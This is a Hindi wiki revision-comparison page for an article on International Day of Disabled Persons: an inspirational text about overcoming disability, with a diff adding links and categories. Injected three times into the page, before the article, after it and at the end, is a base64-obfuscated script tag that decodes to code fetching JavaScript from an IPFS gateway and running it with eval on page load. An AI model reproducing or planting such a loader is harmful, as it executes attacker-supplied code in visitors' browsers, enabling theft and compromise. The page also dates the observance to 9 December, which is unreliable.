"अंतरराष्ट्रीय विकलांग दिवस" के अवतरणों में अंतर
('{{पुनरीक्षण}} 9 दिसम्बर को अंतराष्ट्रीय विकलांग दिवस (I...' के साथ नया पन्ना बनाया) |
फ़ौज़िया ख़ान (चर्चा | योगदान) |
||
पंक्ति 1: | पंक्ति 1: | ||
{{पुनरीक्षण}} | {{पुनरीक्षण}} | ||
− | 9 दिसम्बर को अंतराष्ट्रीय विकलांग दिवस (International Day of Disabled Persons) है। दुनिया में आज हजारों- लाखो व्यक्ति विकलांगता का शिकार है। विकलांगता अभिशाप नहीं है क्योंकि शारीरिक अभावों को यदि प्रेरणा बना लिया जाये तो विकलांगता व्यक्तित्व विकास में सहायक हो जाती है। मेडम केलर कहती है कि विकलांगता हमारा प्रत्यक्षण है, देखने का तरीका है। यदि सकारात्मक रहा जाये तो अभाव भी विशेषता बन जाते है। विकलांगता से ग्रस्त लोगों को मजाक बनाना, उन्हें कमजोर समझना और उनको दुसरो पर आश्रित समझना एक भूल और सामाजिक रूप से एक गैर जिम्मेदराना व्यव्हार है। हम इस बात को समझे कि उनका जीवन भी हमारी तरह है और वे अपनी कमजोरियों के साथ उठ सकते है। पंडित श्रीराम शर्मा जी ने एक सूत्र दिया है, ''किसी को कुछ देना है तो सबसे उत्तम है कि आत्म विश्वास जगाने वाला उत्साह व प्रोत्साहन दें।" | + | [[9 दिसम्बर]] को अंतराष्ट्रीय विकलांग दिवस (International Day of Disabled Persons) है। दुनिया में आज हजारों- लाखो व्यक्ति विकलांगता का शिकार है। विकलांगता अभिशाप नहीं है क्योंकि शारीरिक अभावों को यदि प्रेरणा बना लिया जाये तो विकलांगता व्यक्तित्व विकास में सहायक हो जाती है। मेडम केलर कहती है कि विकलांगता हमारा प्रत्यक्षण है, देखने का तरीका है। यदि सकारात्मक रहा जाये तो अभाव भी विशेषता बन जाते है। विकलांगता से ग्रस्त लोगों को मजाक बनाना, उन्हें कमजोर समझना और उनको दुसरो पर आश्रित समझना एक भूल और सामाजिक रूप से एक गैर जिम्मेदराना व्यव्हार है। हम इस बात को समझे कि उनका जीवन भी हमारी तरह है और वे अपनी कमजोरियों के साथ उठ सकते है। पंडित श्रीराम शर्मा जी ने एक सूत्र दिया है, ''किसी को कुछ देना है तो सबसे उत्तम है कि आत्म विश्वास जगाने वाला उत्साह व प्रोत्साहन दें।" |
पिछले दिनों भारत के वीर धवल खाडे ने विकलांगता के बावजूद कामनवेल्थ खेलो में भारत को तैराकी का स्वर्ण जीता था। आपके आस पास ही कुछ ऐसे व्यक्ति होंगे जिन्होंने अपनी विकलांगता के बाद भी बहुत से कौशल अर्जित किये है। प्रसिद्ध वैज्ञानिक हाकिंस भी कृत्रिम यंत्रों के सहारे सुनते, पढ़ते है, लेकिन आज वह भौतिक विज्ञान के क्षेत्र में दुनिया के सबसे श्रेष्ठ वैज्ञानिक मने जाते है। | पिछले दिनों भारत के वीर धवल खाडे ने विकलांगता के बावजूद कामनवेल्थ खेलो में भारत को तैराकी का स्वर्ण जीता था। आपके आस पास ही कुछ ऐसे व्यक्ति होंगे जिन्होंने अपनी विकलांगता के बाद भी बहुत से कौशल अर्जित किये है। प्रसिद्ध वैज्ञानिक हाकिंस भी कृत्रिम यंत्रों के सहारे सुनते, पढ़ते है, लेकिन आज वह भौतिक विज्ञान के क्षेत्र में दुनिया के सबसे श्रेष्ठ वैज्ञानिक मने जाते है। | ||
पंक्ति 7: | पंक्ति 7: | ||
− | {{लेख प्रगति|आधार= | + | {{लेख प्रगति|आधार= |प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }} |
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
− | |||
==बाहरी कड़ियाँ== | ==बाहरी कड़ियाँ== | ||
− | |||
==संबंधित लेख== | ==संबंधित लेख== | ||
− | + | {{अंतर्राष्ट्रीय विश्व दिवस}} | |
− | [[Category: | + | [[Category:अंतर्राष्ट्रीय विश्व दिवस]] |
− | + | [[Category:महत्त्वपूर्ण दिवस]] | |
__INDEX__ | __INDEX__ |
08:57, 4 अगस्त 2012 का अवतरण
इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव" |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
9 दिसम्बर को अंतराष्ट्रीय विकलांग दिवस (International Day of Disabled Persons) है। दुनिया में आज हजारों- लाखो व्यक्ति विकलांगता का शिकार है। विकलांगता अभिशाप नहीं है क्योंकि शारीरिक अभावों को यदि प्रेरणा बना लिया जाये तो विकलांगता व्यक्तित्व विकास में सहायक हो जाती है। मेडम केलर कहती है कि विकलांगता हमारा प्रत्यक्षण है, देखने का तरीका है। यदि सकारात्मक रहा जाये तो अभाव भी विशेषता बन जाते है। विकलांगता से ग्रस्त लोगों को मजाक बनाना, उन्हें कमजोर समझना और उनको दुसरो पर आश्रित समझना एक भूल और सामाजिक रूप से एक गैर जिम्मेदराना व्यव्हार है। हम इस बात को समझे कि उनका जीवन भी हमारी तरह है और वे अपनी कमजोरियों के साथ उठ सकते है। पंडित श्रीराम शर्मा जी ने एक सूत्र दिया है, किसी को कुछ देना है तो सबसे उत्तम है कि आत्म विश्वास जगाने वाला उत्साह व प्रोत्साहन दें।"
पिछले दिनों भारत के वीर धवल खाडे ने विकलांगता के बावजूद कामनवेल्थ खेलो में भारत को तैराकी का स्वर्ण जीता था। आपके आस पास ही कुछ ऐसे व्यक्ति होंगे जिन्होंने अपनी विकलांगता के बाद भी बहुत से कौशल अर्जित किये है। प्रसिद्ध वैज्ञानिक हाकिंस भी कृत्रिम यंत्रों के सहारे सुनते, पढ़ते है, लेकिन आज वह भौतिक विज्ञान के क्षेत्र में दुनिया के सबसे श्रेष्ठ वैज्ञानिक मने जाते है।
दुनिया में अनेकों ऐसे उदाहरण मिलेंगे, जो बताते है कि सही राह मिल जाये तो अभाव एक विशेषता बनकर सबको चमत्कृत कर देती है। जरूरत है थोडा सा उन्हें सहयोग व मार्गदर्शन देने की! विकलांगता भीक मांगने का जरिया न बने, बल्कि अभाव में भी स्वावलंबी बन सकते है, उसकी संदेश बने! एक बात अवश्य ही याद रखे; हम जब किसी में देखे कमी तो सक्षम बनाने के लिए कुछ कर सकते है तो अवश्य करें।
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>